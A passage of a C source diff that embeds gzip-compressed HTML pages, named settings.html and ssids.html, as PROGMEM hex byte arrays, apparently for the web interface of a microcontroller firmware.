0x4e, 0x21, 0x3d, 0xed, 0x90, 0xc8, 0xe8, 0xb3, 0x0e, 0xe9, 0x13, 0xa4, 0x9f, 0x3a, 0x24, 0x2a, 0xa8, 0xe7, 0x1d, 0xd2, 0x05, 0xa4, 0x17, 0x5d, 0x53, 0x47, 0x64, 0xeb, 0xa8, 0x4b, 0x64, 0x07, 0xba, 0x1e, 0x70, 0xae, 0xc6, 0x5d, 0x1f, 0x62, 0x72, 0x22, 0xee, 0x7a, 0x11, 0x93, 0x1b, 0xf4, 0xa3, 0xf2, 0xe2, 0x81, 0xfd, 0x81, 0x20, 0x77, 0xd3, 0x3c, 0xe4, 0xe2, 0x8c, 0x33, 0x74, 0xe6, 0x64, 0x45, 0x2f, 0xa4, 0x4d, 0x4f, 0xf0, 0xb9, 0xfa, 0x40, 0xa4, 0xef, 0x09, 0xb8, 0x54, 0x75, 0xe3, 0x80, 0xdb, 0x51, 0xa2, 0x9a, 0x6a, 0xce, 0x0f, 0xaa, 0xb5, 0xfc, 0x14, 0x38, 0x0d, 0x58, 0xff, 0x83, 0x57, 0x6f, 0xdf, 0x68, 0x7b, 0x78, 0xd0, 0x35, 0x27, 0x55, 0x4d, 0x06, 0xb5, 0x9c, 0x98, 0x1f, 0x2c, 0x23, 0x33, 0xcf, 0x93, 0xde, 0x7d, 0xf9, 0xf9, 0xf7, 0x4b, 0x46, 0x8b, 0xbe, 0xd2, 0xc9, 0xdc, 0x6c, 0x84, 0x0f, 0xbc, 0xf1, 0x59, 0xa8, 0x3e, 0xd4, 0x7c, 0xae, 0xf9, 0xe9, 0x05, 0xaf, 0x85, 0xca, 0x61, 0x2d, 0xa4, 0x83, 0x46, 0x39, 0x59, 0x02, 0x75, 0x11, 0x98, 0x93, 0x33, 0xf0, 0xf9, 0xf6, 0x86, 0xde, 0x28, 0x3c, 0xe9, 0xc6, 0xc0, 0x5c, 0x0b, 0x93, 0x83, 0x6b, 0x8c, 0xb2, 0xa0, 0x17, 0x0b, 0xe8, 0x53, 0xa5, 0xe1, 0xa7, 0xb2, 0x44, 0x0b, 0x4e, 0xc3, 0xd2, 0x20, 0xaa, 0xa3, 0x63, 0x96, 0x65, 0xa3, 0x59, 0x35, 0x49, 0x86, 0xb7, 0x3a, 0xf4, 0x26, 0x0d, 0xe0, 0x81, 0xf4, 0xae, 0x71, 0x4e, 0x2d, 0xd7, 0xa1, 0x59, 0x50, 0x1b, 0x84, 0xb5, 0xa4, 0xcc, 0x9f, 0x23, 0xdd, 0x2b, 0x56, 0x42, 0x12, 0xec, 0x25, 0x42, 0xde, 0x18, 0xaa, 0xac, 0x20, 0xa0, 0x8d, 0x15, 0xd8, 0x8d, 0x89, 0x64, 0x47, 0x90, 0x28, 0xc4, 0x0a, 0xf9, 0x52, 0x83, 0x54, 0x2a, 0x15, 0x25, 0xc8, 0x87, 0xf6, 0x86, 0xfb, 0x12, 0x85, 0x45, 0x68, 0x9f, 0x23, 0x75, 0x23, 0x6e, 0x49, 0xc4, 0x2a, 0xcc, 0x12, 0x5b, 0xa6, 0x16, 0xa5, 0xc3, 0x08, 0x79, 0x4c, 0x73, 0x69, 0x09, 0x75, 0x0a, 0x9e, 0xe1, 0x2a, 0x0d, 0x19, 0x6b, 0xd4, 0x0b, 0xb2, 0x80, 0xcc, 0xc4, 0x6f, 0x35, 0x69, 0xa6, 0x68, 0xf8, 0x52, 0x7b, 0x0c, 0x75, 0xb8, 0xb0, 0x2d, 0x54, 0x0c, 0x1c, 0xb7, 0x4f, 0x6f, 0x6d, 0xa9, 0xf5, 0x23, 0x08, 0x17, 0x88, 0x68, 0x68, 0xc6, 0x80, 0x4a, 0xd3, 0xb0, 0x41, 0xb8, 0x2d, 0xf8, 0xd7, 0x18, 0xee, 0xd6, 0x90, 0xe3, 0xbc, 0x59, 0x2e, 0xc9, 0xe3, 0xe1, 0xb3, 0x65, 0x11, 0x47, 0xbf, 0x60, 0x5b, 0x8b, 0x71, 0xea, 0xed, 0x4c, 0xaf, 0xb2, 0x0c, 0xa9, 0x5b, 0xdf, 0x6b, 0xc2, 0xce, 0xb6, 0x8c, 0x97, 0xad, 0x0f, 0x94, 0x6e, 0xa2, 0xfe, 0xd2, 0x54, 0x5c, 0xec, 0x43, 0x06, 0x44, 0x24, 0x47, 0xe3, 0x81, 0x87, 0xd3, 0x9f, 0x3e, 0xf8, 0x2d, 0x1d, 0x78, 0xda, 0xa1, 0x8a, 0xed, 0x11, 0xa3, 0x3a, 0xd4, 0x1f, 0x1d, 0x3b, 0xd3, 0xe0, 0x7e, 0x2d, 0x0e, 0x1c, 0x33, 0x5f, 0xaf, 0x5a, 0x7c, 0x69, 0xff, 0x5a, 0x13, 0xd8, 0x52, 0xb9, 0x10, 0xa5, 0x3d, 0xa0, 0x93, 0x06, 0xaa, 0x2d, 0xad, 0x9b, 0xaf, 0x8e, 0xde, 0x5d, 0x20, 0xfe, 0x6d, 0x26, 0x5d, 0x0c, 0xac, 0x7b, 0x0d, 0x03, 0xeb, 0xde, 0x80, 0x41, 0xfc, 0xfe, 0x18, 0xc4, 0xef, 0x87, 0xc1, 0xbe, 0x06, 0x9e, 0x67, 0x79, 0x28, 0xa1, 0x67, 0x91, 0xd3, 0x1c, 0xe8, 0x3f, 0xf7, 0x01, 0x52, 0xaf, 0xe1, 0xa3, 0xde, 0x00, 0xcf, 0xf8, 0xfd, 0xe1, 0x19, 0xff, 0x10, 0x3c, 0x5d, 0xbd, 0x22, 0xcf, 0xfb, 0xe3, 0x7d, 0x5d, 0x0a, 0xa9, 0xde, 0xd2, 0xb2, 0x25, 0xd9, 0x0e, 0x4e, 0x99, 0xae, 0x9f, 0xda, 0xf1, 0xe2, 0x79, 0x14, 0xec, 0x15, 0xce, 0xd5, 0xf6, 0x32, 0x8a, 0x96, 0xd2, 0x15, 0xcd, 0x7c, 0x98, 0xe9, 0x8a, 0xa1, 0x0b, 0xc3, 0x7b, 0x84, 0xb6, 0xe6, 0xa9, 0x7b, 0x96, 0xb7, 0x53, 0x77, 0xb4, 0x96, 0x8f, 0xb2, 0xd7, 0x56, 0x9a, 0x64, 0x36, 0x2f, 0x05, 0xcd, 0xde, 0xe9, 0x5f, 0x44, 0xf4, 0x43, 0xde, 0xdf, 0xff, 0x53, 0xed, 0x9e, 0xc6, 0x5f, 0xa4, 0xfb, 0xb5, 0x99, 0xb3, 0xce, 0x50, 0xcd, 0x78, 0xf9, 0x13, 0x8d, 0xe5, 0x42, 0x39, 0x1e, 0x8e, 0xfc, 0xf7, 0xf5, 0xb3, 0x37, 0xfd, 0xec, 0x08, 0xc6, 0xa3, 0xf8, 0xbc, 0xf3, 0x9f, 0x46, 0x10, 0xfd, 0x1e, 0x83, 0xf6, 0xee, 0x3f, 0xc4, 0xd4, 0x8e, 0xb1, 0x3b, 0x5d, 0x6e, 0xfb, 0xcf, 0x3f, 0xf2, 0x95, 0xa6, 0x4c, 0xbb, 0x0d, 0x00, 0x00}; +const char settingshtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0x9d, 0x55, 0x6d, 0x8f, 0xdb, 0x36, 0x0c, 0xfe, 0x2b, 0x9c, 0xf7, 0xa1, 0x77, 0xc0, 0x25, 0xbe, 0x17, 0xe0, 0x70, 0x6d, 0x63, 0x0f, 0x43, 0xaf, 0xb7, 0x1d, 0x56, 0xb4, 0xc5, 0x02, 0x6c, 0x1f, 0x03, 0x45, 0x66, 0x6c, 0x35, 0xb2, 0xe4, 0x49, 0x74, 0xd2, 0x00, 0xfb, 0xf1, 0xa5, 0x2c, 0xbb, 0x79, 0xbd, 0x22, 0xdb, 0x87, 0x48, 0x0e, 0xc9, 0x87, 0xef, 0xa4, 0x26, 0x3f, 0x3d, 0x5a, 0x49, 0x9b, 0x06, 0xa1, 0xa2, 0x5a, 0xe7, 0x30, 0xa9, 0x91, 0x04, 0xc8, 0x4a, 0x38, 0x8f, 0x94, 0xb5, 0xb4, 0x18, 0x3d, 0xc0, 0x40, 0x35, 0xa2, 0xc6, 0x6c, 0xa5, 0x70, 0xdd, 0x58, 0x47, 0x00, 0xd2, 0x1a, 0x42, 0x43, 0x59, 0xb2, 0x56, 0x05, 0x55, 0x59, 0x81, 0x2b, 0x25, 0x71, 0xd4, 0xfd, 0xb9, 0x02, 0x65, 0x14, 0x29, 0xa1, 0x47, 0x5e, 0x0a, 0x8d, 0xd9, 0xf5, 0xf8, 0xe1, 0x0a, 0x6a, 0xa6, 0xd5, 0x4c, 0x6a, 0x55, 0xb2, 0xa7, 0xb1, 0x40, 0x2f, 0x9d, 0x6a, 0x48, 0x59, 0xb3, 0xa3, 0xf4, 0xfd, 0xf4, 0xf3, 0xc3, 0xed, 0xfd, 0x3d, 0x3c, 0xa2, 0x68, 0xa9, 0x42, 0xb7, 0x8f, 0x09, 0x34, 0xeb, 0x76, 0xc4, 0xa7, 0x8d, 0x90, 0x58, 0xb5, 0x95, 0x81, 0x11, 0x4c, 0x09, 0x17, 0xc2, 0xc0, 0x1f, 0x0e, 0x6b, 0x7f, 0x08, 0x64, 0x55, 0x35, 0x8e, 0xa4, 0xd5, 0x7b, 0xe8, 0x9f, 0xef, 0xee, 0xef, 0x5e, 0xdf, 0xbd, 0x4f, 0x20, 0x65, 0x61, 0x52, 0xa4, 0x31, 0x3f, 0xb4, 0x3f, 0x49, 0x23, 0x1d, 0x26, 0x5a, 0x99, 0x25, 0x38, 0xd4, 0x99, 0xa7, 0x8d, 0x46, 0x5f, 0x21, 0x72, 0x32, 0x2a, 0x87, 0x8b, 0x48, 0x18, 0x4b, 0xef, 0x43, 0xca, 0x62, 0x50, 0xe0, 0x9d, 0xcc, 0x92, 0x2f, 0x3e, 0xf5, 0x8a, 0x70, 0xfc, 0xc5, 0x27, 0xf9, 0x24, 0x8d, 0x9c, 0x13, 0x22, 0x48, 0xa4, 0x4c, 0xe9, 0x0f, 0xc5, 0xe6, 0xb6, 0xd8, 0x80, 0x35, 0xda, 0x8a, 0x22, 0x4b, 0xc2, 0xf9, 0x41, 0x98, 0xf2, 0xe2, 0x32, 0x04, 0x66, 0xc4, 0x8a, 0x4f, 0xd1, 0x9b, 0x97, 0xc2, 0x8c, 0x43, 0x19, 0x01, 0x0a, 0x41, 0x62, 0x44, 0x4e, 0x18, 0xaf, 0x05, 0x61, 0xc7, 0x81, 0x7c, 0xca, 0xe7, 0x24, 0x15, 0x3b, 0x00, 0xaf, 0x0a, 0xff, 0x02, 0x22, 0xb0, 0x18, 0x32, 0x7d, 0x7e, 0xf4, 0x7b, 0x18, 0x41, 0x24, 0xe4, 0xf2, 0x34, 0x28, 0xf2, 0x18, 0xf6, 0x6b, 0xfc, 0xd8, 0x37, 0x36, 0x44, 0x77, 0xda, 0x5e, 0xcf, 0x65, 0x93, 0xfd, 0xd7, 0x00, 0x96, 0x5a, 0x78, 0x9f, 0x39, 0x55, 0x56, 0x43, 0x9a, 0x95, 0x59, 0xd8, 0xd3, 0x5a, 0x02, 0x07, 0xf2, 0x67, 0x3e, 0x23, 0x3a, 0x8d, 0xf9, 0x29, 0xd4, 0xaa, 0x57, 0x13, 0x2a, 0x2e, 0x94, 0x41, 0x07, 0x7b, 0x64, 0x67, 0xd7, 0x70, 0x20, 0xa7, 0x47, 0x37, 0xb7, 0x03, 0x4d, 0x15, 0x19, 0x3a, 0xd7, 0x75, 0x4c, 0xc7, 0xad, 0x54, 0x81, 0xc0, 0x15, 0x62, 0x1e, 0x4b, 0x54, 0x37, 0x03, 0x19, 0x45, 0xc1, 0x9a, 0xcf, 0x09, 0xad, 0xba, 0x09, 0x75, 0x6d, 0x89, 0xb8, 0xe7, 0xad, 0x91, 0x5a, 0xc9, 0x65, 0x96, 0x94, 0x48, 0x4f, 0x4a, 0xe3, 0xc5, 0x2b, 0xd7, 0x9a, 0x5f, 0x64, 0x5d, 0x70, 0x3f, 0xd9, 0x46, 0x34, 0xaf, 0x2e, 0x93, 0xc1, 0x4d, 0x2c, 0x8e, 0xb4, 0xaf, 0xd5, 0x42, 0xcd, 0xec, 0x62, 0x01, 0xf9, 0xdf, 0xea, 0x49, 0x01, 0x7f, 0x4d, 0xd2, 0xa8, 0xf8, 0x1c, 0x0b, 0x0e, 0xd9, 0xbb, 0xb7, 0x6f, 0xbd, 0x58, 0x21, 0x0c, 0x7e, 0xfe, 0xd8, 0x5e, 0x87, 0x80, 0xfc, 0xcf, 0x70, 0xfd, 0x37, 0x4b, 0x73, 0x6b, 0x69, 0xab, 0x3b, 0x09, 0xca, 0xbb, 0xaa, 0x26, 0xc7, 0x26, 0x82, 0x28, 0xe4, 0xf1, 0xde, 0x31, 0xd2, 0x84, 0x99, 0x69, 0xb8, 0x95, 0x5f, 0x76, 0x2f, 0x74, 0xc0, 0xac, 0x93, 0xc9, 0x9f, 0x3f, 0x3e, 0x7d, 0x7a, 0xc3, 0x63, 0xc4, 0x7f, 0xf2, 0xc9, 0xdc, 0x0d, 0xd8, 0x17, 0xaa, 0x33, 0x8b, 0xbd, 0x13, 0xd6, 0x87, 0xad, 0xb7, 0xc9, 0xe0, 0x41, 0xff, 0xa7, 0x55, 0x0e, 0x41, 0x40, 0x74, 0x67, 0xdc, 0xa9, 0x1a, 0xc1, 0xbb, 0x10, 0x27, 0x74, 0x89, 0x23, 0x0b, 0xb5, 0x58, 0x32, 0xa6, 0x65, 0x39, 0xaa, 0x04, 0xc1, 0xc6, 0xb6, 0x2e, 0x2c, 0x51, 0x53, 0xa2, 0x07, 0x11, 0xd0, 0x4d, 0xa3, 0x15, 0x16, 0x11, 0xdc, 0xfb, 0x74, 0xda, 0x9f, 0x2e, 0x80, 0x42, 0x79, 0x0e, 0x51, 0xd5, 0xa1, 0x4f, 0x9f, 0x39, 0x5c, 0xe1, 0x91, 0x2b, 0x0b, 0x2c, 0xdd, 0x1a, 0xfc, 0xda, 0xa0, 0x24, 0x0e, 0xbd, 0x6b, 0xc9, 0x2b, 0x68, 0x34, 0x06, 0x36, 0x2f, 0x24, 0xde, 0x0c, 0x6c, 0x9e, 0xfd, 0xe0, 0x55, 0xc3, 0xb2, 0x05, 0x68, 0x6b, 0x97, 0xc0, 0xee, 0x74, 0x44, 0x74, 0xbc, 0x8f, 0xa1, 0xb6, 0xbc, 0x98, 0xb9, 0x93, 0x17, 0xe1, 0xd7, 0xba, 0xb0, 0xd9, 0xa0, 0xc0, 0x79, 0x5b, 0x96, 0x1c, 0xed, 0x78, 0x2f, 0x5b, 0x69, 0x73, 0xa2, 0xae, 0x21, 0x60, 0x5e, 0x3d, 0x47, 0x59, 0x0c, 0x79, 0xc8, 0xc3, 0xf9, 0x83, 0x9e, 0x08, 0x0e, 0x5e, 0x6c, 0x9b, 0x2b, 0x4e, 0xf4, 0x51, 0xed, 0xbb, 0x30, 0xf2, 0x78, 0xef, 0x28, 0xeb, 0x87, 0xad, 0xbf, 0xfa, 0xa9, 0x1c, 0xaa, 0xf4, 0x41, 0x79, 0xda, 0x0e, 0xe4, 0x59, 0x73, 0xfd, 0x52, 0x60, 0x51, 0xae, 0x74, 0x88, 0xe6, 0xdc, 0x80, 0x8e, 0x9d, 0xed, 0xdd, 0x93, 0xb6, 0xd9, 0xc4, 0x30, 0xb7, 0x6b, 0x30, 0xa9, 0x88, 0x1a, 0xff, 0x26, 0x4d, 0x4b, 0x45, 0x55, 0x3b, 0x1f, 0x4b, 0x5b, 0x87, 0xa4, 0xc7, 0xc7, 0x2b, 0x45, 0xdf, 0x84, 0x57, 0x67, 0x56, 0xf4, 0xaf, 0x4e, 0xba, 0x56, 0x4b, 0x95, 0x00, 0x09, 0xc7, 0x03, 0x95, 0xcd, 0xe6, 0x5a, 0xf0, 0xdb, 0xc3, 0x93, 0xbe, 0x54, 0xdd, 0x82, 0xfb, 0xf7, 0x7f, 0xaa, 0x3d, 0xd2, 0xf8, 0x9b, 0xa2, 0xdf, 0xdb, 0x79, 0xd0, 0x19, 0x6b, 0x1f, 0x8e, 0xbf, 0xd0, 0xf9, 0xf0, 0x26, 0xdf, 0x8e, 0xaf, 0xbb, 0xff, 0xef, 0xbe, 0x47, 0x73, 0x21, 0x2f, 0xe1, 0xf6, 0xfa, 0xe6, 0xe1, 0xe0, 0xa5, 0x8d, 0xd0, 0x73, 0x1c, 0x3a, 0xb2, 0x7f, 0x4a, 0xa8, 0x5f, 0xe1, 0x7b, 0x75, 0xdf, 0xbd, 0xbe, 0x01, 0xf3, 0x6e, 0x01, 0x71, 0xbb, 0x08, 0x00, 0x00}; +const char ssidshtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x73, 0x73, 0x69, 0x64, 0x73, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0xb5, 0x57, 0x6d, 0x6f, 0xdb, 0x36, 0x10, 0xfe, 0x2b, 0x37, 0xef, 0x43, 0x5a, 0x20, 0xb6, 0xf2, 0x02, 0x04, 0x59, 0x61, 0x09, 0x48, 0x9b, 0x6c, 0x0b, 0xb6, 0xb5, 0x41, 0x1d, 0xac, 0xd8, 0x27, 0x83, 0xa2, 0xce, 0x16, 0x6b, 0x8a, 0x14, 0x48, 0xca, 0x76, 0x80, 0xfd, 0xf8, 0x1d, 0x49, 0xc9, 0xaf, 0xea, 0x96, 0xb6, 0xd9, 0x17, 0x49, 0xbc, 0x37, 0x92, 0xcf, 0xf1, 0x1e, 0x9e, 0xc6, 0x3f, 0xdc, 0x6a, 0xee, 0x9e, 0x6a, 0x84, 0xd2, 0x55, 0x32, 0x83, 0x71, 0x85, 0x8e, 0x01, 0x2f, 0x99, 0xb1, 0xe8, 0xd2, 0xc6, 0xcd, 0x86, 0xd7, 0xd0, 0x49, 0x15, 0xab, 0x30, 0x5d, 0x0a, 0x5c, 0xd5, 0xda, 0x38, 0x00, 0xae, 0x95, 0x43, 0xe5, 0xd2, 0xc1, 0x4a, 0x14, 0xae, 0x4c, 0x0b, 0x5c, 0x0a, 0x8e, 0xc3, 0x30, 0x38, 0x05, 0xa1, 0x84, 0x13, 0x4c, 0x0e, 0x2d, 0x67, 0x12, 0xd3, 0xb3, 0xd1, 0xf5, 0x29, 0x54, 0x24, 0xab, 0x48, 0xd4, 0x88, 0xc1, 0x5e, 0xc4, 0x02, 0x2d, 0x37, 0xa2, 0x76, 0x42, 0xab, 0x9d, 0xa0, 0x77, 0x93, 0x87, 0xeb, 0x8b, 0xab, 0x2b, 0xb8, 0x45, 0xd6, 0xb8, 0x12, 0xcd, 0xbe, 0x8f, 0x97, 0x69, 0xb3, 0x63, 0x3e, 0xa9, 0x19, 0xc7, 0xb2, 0x29, 0x15, 0x0c, 0x61, 0xe2, 0x70, 0xc6, 0x14, 0xfc, 0x66, 0xb0, 0xb2, 0x87, 0x8e, 0x14, 0xaa, 0xc2, 0x21, 0xd7, 0x72, 0xcf, 0xfb, 0xc7, 0xcb, 0xab, 0xcb, 0x9f, 0x2e, 0xef, 0x06, 0x90, 0x90, 0xb1, 0x13, 0x4e, 0x62, 0x76, 0x38, 0xff, 0x38, 0x89, 0x72, 0x18, 0x4b, 0xa1, 0x16, 0x60, 0x50, 0xa6, 0xd6, 0x3d, 0x49, 0xb4, 0x25, 0x22, 0x81, 0x51, 0x1a, 0x9c, 0x45, 0xc1, 0x88, 0x5b, 0xeb, 0x21, 0x8b, 0x9b, 0x02, 0x6b, 0x78, 0x3a, 0xf8, 0x6c, 0x13, 0x2b, 0x1c, 0x8e, 0x3e, 0xdb, 0x41, 0x36, 0x4e, 0xa2, 0xa6, 0xc7, 0xc4, 0x8a, 0xc2, 0x1e, 0xda, 0xe4, 0xba, 0x78, 0x02, 0xad, 0xa4, 0x66, 0x45, 0x3a, 0xf0, 0xcf, 0xdf, 0x99, 0x9a, 0xbf, 0x7a, 0xed, 0x77, 0xa5, 0xd8, 0x92, 0x9e, 0xac, 0x9d, 0x9b, 0x33, 0x35, 0xf2, 0x39, 0x04, 0x28, 0x98, 0x63, 0x43, 0x67, 0x98, 0xb2, 0x92, 0x39, 0x0c, 0x1a, 0xc8, 0x26, 0xf4, 0x1c, 0x27, 0x6c, 0xc7, 0x21, 0xcc, 0xd6, 0xef, 0xe1, 0x55, 0xe4, 0x32, 0xb9, 0xbf, 0xb5, 0x7b, 0x3e, 0xcc, 0x39, 0xc6, 0x17, 0xfd, 0x4e, 0x51, 0x47, 0x6e, 0x37, 0xf1, 0x63, 0x7f, 0x32, 0x74, 0x4e, 0xa8, 0xf9, 0x97, 0xe6, 0x6b, 0xb5, 0x34, 0x65, 0xfb, 0xd5, 0x39, 0x73, 0xc9, 0xac, 0x4d, 0x8d, 0x98, 0x97, 0x1d, 0xc6, 0x42, 0xcd, 0x74, 0x7f, 0x14, 0xaf, 0x81, 0xec, 0x9e, 0x9e, 0xd1, 0x3b, 0x89, 0xf8, 0x14, 0x62, 0xd9, 0x86, 0xf1, 0xe9, 0x66, 0x42, 0xa1, 0x81, 0x3d, 0xb1, 0xd1, 0x2b, 0x38, 0xb0, 0x93, 0xc3, 0xf3, 0x8b, 0x4e, 0x26, 0x8a, 0x14, 0x8d, 0x09, 0xc7, 0x25, 0x68, 0x4b, 0x51, 0x20, 0x50, 0x86, 0x48, 0x47, 0x16, 0xe5, 0x79, 0x27, 0x46, 0x56, 0x50, 0xe4, 0x7f, 0x87, 0xb2, 0x3c, 0xf7, 0xeb, 0x8a, 0x9e, 0xed, 0xeb, 0x3f, 0xd6, 0x71, 0xe5, 0x45, 0x92, 0xe5, 0x28, 0x61, 0xa6, 0x4d, 0x08, 0x17, 0xa3, 0x8d, 0x93, 0x20, 0xed, 0x0b, 0xb4, 0xf1, 0x13, 0xaa, 0x6e, 0x1c, 0xf8, 0xea, 0x4e, 0x1d, 0xae, 0x09, 0x41, 0xda, 0x4b, 0x88, 0x10, 0x6b, 0x21, 0x7e, 0xd6, 0xd2, 0x57, 0x8e, 0x96, 0xb4, 0xfa, 0xd4, 0x07, 0x06, 0xa8, 0xd8, 0x5a, 0xa2, 0x9a, 0x53, 0x4d, 0x5f, 0x06, 0x14, 0xbe, 0x71, 0xc1, 0xd9, 0xa7, 0x87, 0x9b, 0x8b, 0xe7, 0x2c, 0x33, 0x6e, 0x2f, 0x0a, 0x4f, 0x78, 0x89, 0x7c, 0xf1, 0x56, 0xaf, 0xdf, 0x75, 0xc9, 0x3a, 0xc9, 0xda, 0x7d, 0xf8, 0x44, 0x28, 0x0e, 0x71, 0x3f, 0xd1, 0x2e, 0xd7, 0x6b, 0x52, 0xdb, 0x9a, 0x0e, 0xf8, 0xae, 0x7b, 0xc5, 0xcc, 0xe2, 0xc4, 0x17, 0x11, 0x29, 0xb2, 0xa3, 0x15, 0x7c, 0x35, 0xf0, 0x07, 0x29, 0x55, 0x4d, 0x95, 0xfb, 0x33, 0xf4, 0x3e, 0xbc, 0x9f, 0x9f, 0x87, 0x16, 0x7c, 0x72, 0x6b, 0xf7, 0xd0, 0x06, 0x82, 0x25, 0x93, 0x0d, 0xa6, 0xe7, 0x01, 0xf8, 0xf4, 0xea, 0x0c, 0x3c, 0x53, 0xd2, 0xf0, 0xe5, 0x56, 0xac, 0x97, 0x68, 0x56, 0x86, 0x08, 0x08, 0xb2, 0x0f, 0xdd, 0xe7, 0xcb, 0x26, 0x66, 0x3b, 0xc3, 0x61, 0x7a, 0x20, 0x7c, 0x61, 0xf1, 0x3f, 0xa5, 0x29, 0xd6, 0x69, 0xde, 0x38, 0x47, 0xb7, 0x87, 0x56, 0x5c, 0x0a, 0xbe, 0x48, 0x07, 0xac, 0x28, 0x88, 0x22, 0x8f, 0x18, 0xaa, 0xa0, 0xda, 0xa1, 0xc7, 0x38, 0x89, 0xf6, 0xfd, 0x8e, 0x13, 0x94, 0xc8, 0x1d, 0x7e, 0x21, 0xc0, 0xd4, 0xb6, 0x6a, 0xc8, 0xb8, 0xd4, 0x0a, 0x61, 0x33, 0xbe, 0x79, 0xb0, 0x3b, 0x81, 0x5f, 0x60, 0x13, 0x9e, 0xec, 0xfd, 0x22, 0xf6, 0x38, 0xf0, 0x60, 0x45, 0x74, 0x0d, 0x91, 0x15, 0x64, 0x1f, 0xc3, 0x7b, 0x67, 0xfe, 0xda, 0x5f, 0x2f, 0x5b, 0xc0, 0x0d, 0x2d, 0xb0, 0x8f, 0x2f, 0xa7, 0xc1, 0x26, 0xbb, 0x7f, 0xff, 0xf3, 0x87, 0x37, 0x5d, 0x22, 0x72, 0xd3, 0xf9, 0xf6, 0x71, 0xd9, 0x34, 0xd2, 0x2c, 0x5d, 0xb3, 0x8f, 0xa5, 0xb0, 0x10, 0x18, 0x43, 0x0a, 0x4b, 0xa7, 0xc0, 0x42, 0x63, 0x69, 0x1a, 0xa2, 0x29, 0xa0, 0x0b, 0x13, 0x72, 0x64, 0x44, 0xb8, 0xc0, 0x54, 0x01, 0xb5, 0xd1, 0x39, 0x42, 0x7b, 0x79, 0x84, 0xf8, 0x43, 0xb8, 0x63, 0xbc, 0x8c, 0xde, 0xfe, 0x7a, 0x22, 0x75, 0x53, 0x83, 0xd3, 0x40, 0x8c, 0xe3, 0x9b, 0x0f, 0x46, 0x90, 0x1a, 0xdb, 0xd9, 0xde, 0x6a, 0x75, 0xe2, 0x7c, 0xe0, 0x39, 0x5d, 0xb5, 0x64, 0x14, 0x00, 0x02, 0xcb, 0x96, 0x08, 0xab, 0x12, 0x15, 0x3c, 0xe9, 0x06, 0xb0, 0x10, 0x3e, 0x0b, 0x2c, 0xc4, 0xec, 0x1c, 0xff, 0x22, 0x45, 0xe9, 0xcd, 0x36, 0x4e, 0x11, 0x28, 0x60, 0x33, 0x8a, 0x0f, 0x3e, 0x83, 0x74, 0xdb, 0x04, 0x97, 0x76, 0xb2, 0x16, 0x84, 0x7e, 0x00, 0x02, 0x62, 0x85, 0xb0, 0x84, 0xa9, 0xa8, 0x3c, 0x05, 0xdc, 0x13, 0xbe, 0xcc, 0x22, 0xe8, 0x19, 0xed, 0x13, 0x1a, 0x85, 0xeb, 0x3a, 0x1e, 0x86, 0x70, 0x63, 0x9c, 0x12, 0xb7, 0xa2, 0x57, 0xb7, 0x59, 0xf2, 0xa8, 0xf8, 0x36, 0x20, 0x60, 0x22, 0xb5, 0x5e, 0x10, 0x24, 0x51, 0x88, 0x86, 0x7a, 0x25, 0xa8, 0x68, 0x35, 0x8e, 0xd0, 0xf3, 0x08, 0xce, 0x1a, 0xe3, 0xbb, 0x0e, 0x28, 0x30, 0x6f, 0xe6, 0x73, 0x5a, 0xe4, 0x68, 0x2f, 0x3d, 0x89, 0xcf, 0x6f, 0x69, 0xbe, 0xf3, 0x36, 0x11, 0xd4, 0xfe, 0x18, 0x62, 0x9f, 0xa3, 0xa3, 0xe1, 0x68, 0x7b, 0xd3, 0x8d, 0x36, 0x7b, 0xa4, 0x21, 0xdc, 0xb7, 0xc3, 0xaf, 0x22, 0xbc, 0xed, 0x0c, 0xe1, 0xc6, 0xd9, 0x0e, 0xfb, 0x08, 0xf0, 0xac, 0x63, 0xc0, 0x2d, 0x05, 0xda, 0x17, 0xa9, 0x24, 0x54, 0x2c, 0x97, 0xf8, 0x91, 0x60, 0xd7, 0x95, 0xaf, 0x28, 0x5a, 0x98, 0x09, 0x83, 0xb7, 0x8e, 0x0e, 0xff, 0x5d, 0xd0, 0x42, 0x54, 0xc3, 0x1f, 0xba, 0xc0, 0xdd, 0x3a, 0x3a, 0xaa, 0xb8, 0x60, 0x36, 0xf5, 0x4d, 0xeb, 0xc6, 0xd5, 0xe7, 0x30, 0xca, 0x29, 0x87, 0x45, 0x38, 0x6d, 0x73, 0x24, 0x86, 0x64, 0x3e, 0xd7, 0x9d, 0x66, 0xa7, 0x52, 0xa8, 0x2a, 0x60, 0x2e, 0x96, 0x74, 0x72, 0x3b, 0x40, 0x46, 0x3b, 0x19, 0x75, 0x21, 0x66, 0x7b, 0x5b, 0x3c, 0x86, 0x01, 0xb1, 0x63, 0x90, 0xf6, 0xec, 0x8d, 0x9a, 0x5c, 0x22, 0xdf, 0x1b, 0x29, 0x77, 0xa8, 0xa2, 0xa7, 0xd8, 0xa3, 0xd9, 0x94, 0x49, 0xe9, 0xc9, 0xc2, 0x7f, 0x03, 0xf9, 0x7c, 0x1f, 0x61, 0xb5, 0xdd, 0x11, 0xd7, 0xf5, 0x53, 0x64, 0xa7, 0x6d, 0xbf, 0x37, 0x28, 0x9d, 0xab, 0xed, 0x9b, 0x24, 0x99, 0x0b, 0x57, 0x36, 0xf9, 0x88, 0xeb, 0xca, 0x1f, 0xdf, 0xd8, 0xa2, 0x27, 0x68, 0x6b, 0xdf, 0x5b, 0x13, 0x88, 0xb1, 0xb7, 0x4e, 0x56, 0x62, 0x21, 0x06, 0xe0, 0x98, 0x2f, 0xf0, 0x74, 0x9a, 0x4b, 0x46, 0x1d, 0x76, 0xf6, 0x89, 0x84, 0xa1, 0x93, 0xfb, 0xfb, 0x1b, 0xc3, 0x1e, 0x45, 0xfc, 0x45, 0xb8, 0x5f, 0x9b, 0xdc, 0xc7, 0x8c, 0x55, 0xe4, 0x1f, 0x7f, 0x12, 0xcf, 0xf8, 0x3f, 0x8f, 0x8b, 0xd1, 0x59, 0x18, 0xbf, 0xdb, 0xec, 0xe6, 0x15, 0x7f, 0x0d, 0x17, 0x67, 0xe7, 0xd7, 0x07, 0xff, 0x13, 0xd1, 0xf5, 0x39, 0x0b, 0x3a, 0x9a, 0xbf, 0xcf, 0xa8, 0xed, 0x55, 0xf7, 0xd0, 0xdf, 